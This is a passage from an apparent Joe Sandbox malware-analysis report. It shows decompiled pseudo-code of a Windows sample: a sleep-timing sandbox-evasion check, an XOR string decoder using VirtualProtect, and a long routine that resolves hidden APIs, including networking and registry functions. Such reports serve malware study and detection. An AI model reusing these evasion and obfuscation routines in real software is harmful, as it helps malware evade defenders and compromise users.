Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: VirtualAllocExNuma
API String ID: 2238633743-737288162
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 004048E0
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4A0, Relevance: 268.6, APIs: 144, Strings: 9, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				CHAR* _t133;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				CHAR* _t148;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0x83a798
					_t273 =  *0x41aa64; // 0x75130000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0x83a7e0
					_t130 =  *0x41aa64; // 0x75130000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0x825988
					_t363 =  *0x41aa64; // 0x75130000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t133 =  *0x41a668; // 0x83aa08
					_t275 =  *0x41aa64; // 0x75130000
					 *0x41a8b0 = GetProcAddress(_t275, _t133);
					_t364 =  *0x41a5d8; // 0x83aa20
					_t135 =  *0x41aa64; // 0x75130000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0x83a978
					_t365 =  *0x41aa64; // 0x75130000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0x83aa38
					_t277 =  *0x41aa64; // 0x75130000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0x83a990
					_t140 =  *0x41aa64; // 0x75130000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t278 =  *0x41a2b4; // 0x83a9c0
					_t367 =  *0x41aa64; // 0x75130000
					 *0x41aa70 = GetProcAddress(_t367, _t278);
					_t143 =  *0x41a7bc; // 0x83a9d8
					_t279 =  *0x41aa64; // 0x75130000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0x83b068
					_t145 =  *0x41aa64; // 0x75130000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0x83b050
					_t369 =  *0x41aa64; // 0x75130000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t148 =  *0x41a3a8; // 0x83adc8
					_t281 =  *0x41aa64; // 0x75130000
					 *0x41aa9c = GetProcAddress(_t281, _t148);
					_t370 =  *0x41a1c0; // 0x825b48
					_t150 =  *0x41aa64; // 0x75130000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0x83afc0
					_t371 =  *0x41aa64; // 0x75130000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0x825768
					_t283 =  *0x41aa64; // 0x75130000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0x839f90
					_t155 =  *0x41aa64; // 0x75130000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t284 =  *0x41a0dc; // 0x83af30
					_t373 =  *0x41aa64; // 0x75130000
					 *0x41aac4 = GetProcAddress(_t373, _t284);
					_t158 =  *0x41a30c; // 0x825a28
					_t285 =  *0x41aa64; // 0x75130000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0x83ad98
					_t160 =  *0x41aa64; // 0x75130000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0x8259a8
					_t375 =  *0x41aa64; // 0x75130000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0x83ae88
					_t287 =  *0x41aa64; // 0x75130000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0x83ae70
					_t165 =  *0x41aa64; // 0x75130000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0x83ad80
					_t377 =  *0x41aa64; // 0x75130000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0x83af78
					_t289 =  *0x41aa64; // 0x75130000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0x825b08
					_t170 =  *0x41aa64; // 0x75130000
					 *0x41a96c = GetProcAddress(_t170, _t378);
					_t290 =  *0x41a52c; // 0x83adb0
					_t379 =  *0x41aa64; // 0x75130000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0x83ade0
					_t291 =  *0x41aa64; // 0x75130000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0x83adf8
					_t175 =  *0x41aa64; // 0x75130000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0x825888
					_t381 =  *0x41aa64; // 0x75130000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0x83ae58
					_t293 =  *0x41aa64; // 0x75130000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0x83af48
					_t180 =  *0x41aa64; // 0x75130000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0x83ae10
					_t383 =  *0x41aa64; // 0x75130000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0x83ae28
					_t295 =  *0x41aa64; // 0x75130000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0x83b020
					_t185 =  *0x41aa64; // 0x75130000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0x825c68
					_t385 =  *0x41aa64; // 0x75130000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0x825ca8
					_t297 =  *0x41aa64; // 0x75130000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0x83af90
					_t190 =  *0x41aa64; // 0x75130000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0x83af18
					_t387 =  *0x41aa64; // 0x75130000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0x825d68
					_t299 =  *0x41aa64; // 0x75130000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t388 =  *0x41a184; // 0x83a0d0
					_t195 =  *0x41aa64; // 0x75130000
					 *0x41a9a4 = GetProcAddress(_t195, _t388);
					_t300 =  *0x41a118; // 0x83afa8
					_t389 =  *0x41aa64; // 0x75130000
					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0x83af60
					_t301 =  *0x41aa64; // 0x75130000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0x825f08
					_t200 =  *0x41aa64; // 0x75130000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0x825e88
					_t391 =  *0x41aa64; // 0x75130000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0x825d08
					_t303 =  *0x41aa64; // 0x75130000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0x83aff0
					_t205 =  *0x41aa64; // 0x75130000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0x825b68
					_t393 =  *0x41aa64; // 0x75130000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0x83afd8
					_t305 =  *0x41aa64; // 0x75130000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0x825d28
					_t210 =  *0x41aa64; // 0x75130000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0x825b88
					_t395 =  *0x41aa64; // 0x75130000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x75130000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x75130000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
					_t396 =  *0x41aa64; // 0x75130000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x75130000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x75130000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0x83a8b8
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0x83a7b0
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0x83a6f0
				 *0x41aaa8 = LoadLibraryA(_t220);
				_t310 =  *0x41a2c0; // 0x83a708
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0x83a7c8
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0x83a738
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0x83a750
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0x83a7f8
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0x83a810
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0x83a828
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
				_t14 =  *0x41a688; // 0x83a840
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0x83a858
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0x83a9f0
				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0x83a560
					_t272 =  *0x41a964; // 0x779c0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x779c0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x779c0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0x83af00
					_t355 =  *0x41a8d8; // 0x70000000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0x825cc8
					_t266 =  *0x41a8d8; // 0x70000000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0x825d88
					_t112 =  *0x41a8d8; // 0x70000000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0x825d48
					_t357 =  *0x41a8d8; // 0x70000000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0x83aea0
					_t268 =  *0x41a8d8; // 0x70000000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0x825ec8
					_t117 =  *0x41a8d8; // 0x70000000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0x825da8
					_t359 =  *0x41a8d8; // 0x70000000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0x825c28
					_t270 =  *0x41a8d8; // 0x70000000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0x825e48
					_t122 =  *0x41a8d8; // 0x70000000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x70000000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0x83b008
					_t92 =  *0x41aaa8; // 0x74ea0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0x83ae40
					_t348 =  *0x41aaa8; // 0x74ea0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0x825ba8
					_t259 =  *0x41aaa8; // 0x74ea0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0x825c48
					_t97 =  *0x41aaa8; // 0x74ea0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0x83aeb8
					_t350 =  *0x41aaa8; // 0x74ea0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0x83a520
					_t261 =  *0x41aaa8; // 0x74ea0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0x825ee8
					_t102 =  *0x41aaa8; // 0x74ea0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0x825bc8
					_t352 =  *0x41aaa8; // 0x74ea0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0x83aed0
					_t263 =  *0x41aaa8; // 0x74ea0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0x83b038
					_t107 =  *0x41aaa8; // 0x74ea0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t264 =  *0x41a38c; // 0x83aee8
					_t354 =  *0x41aaa8; // 0x74ea0000
					_t17 = GetProcAddress(_t354, _t264);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0x83b098
					_t254 =  *0x41a854; // 0x75530000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0x825ce8
					_t85 =  *0x41a854; // 0x75530000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0x83b188
					_t345 =  *0x41a854; // 0x75530000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0x825be8
					_t256 =  *0x41a854; // 0x75530000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0x83b080
					_t90 =  *0x41a854; // 0x75530000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x75530000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0x83b110
					_t61 =  *0x41a988; // 0x77620000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0x83b218
					_t335 =  *0x41a988; // 0x77620000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0x825c88
					_t246 =  *0x41a988; // 0x77620000
					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0x825c08
					_t66 =  *0x41a988; // 0x77620000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0x83b1a0
					_t337 =  *0x41a988; // 0x77620000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0x83a4e0
					_t248 =  *0x41a988; // 0x77620000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0x83b158
					_t71 =  *0x41a988; // 0x77620000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0x83b0e0
					_t339 =  *0x41a988; // 0x77620000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0x83b0f8
					_t250 =  *0x41a988; // 0x77620000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0x83b1e8
					_t76 =  *0x41a988; // 0x77620000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0x83a530
					_t341 =  *0x41a988; // 0x77620000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0x825dc8
					_t252 =  *0x41a988; // 0x77620000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0x83b128
					_t81 =  *0x41a988; // 0x77620000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t253 =  *0x41a778; // 0x83b200
					_t343 =  *0x41a988; // 0x77620000
					_t17 = GetProcAddress(_t343, _t253);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0x8283c8
					_t244 =  *0x41aa40; // 0x6f680000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0x825e28
					_t59 =  *0x41a94c; // 0x774c0000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0x825de8
					_t332 =  *0x41a934; // 0x77730000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0x83a0f8
					_t239 =  *0x41aa34; // 0x74180000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0x825e68
					_t52 =  *0x41aa34; // 0x74180000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0x83a030
					_t329 =  *0x41aa34; // 0x74180000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0x825ea8
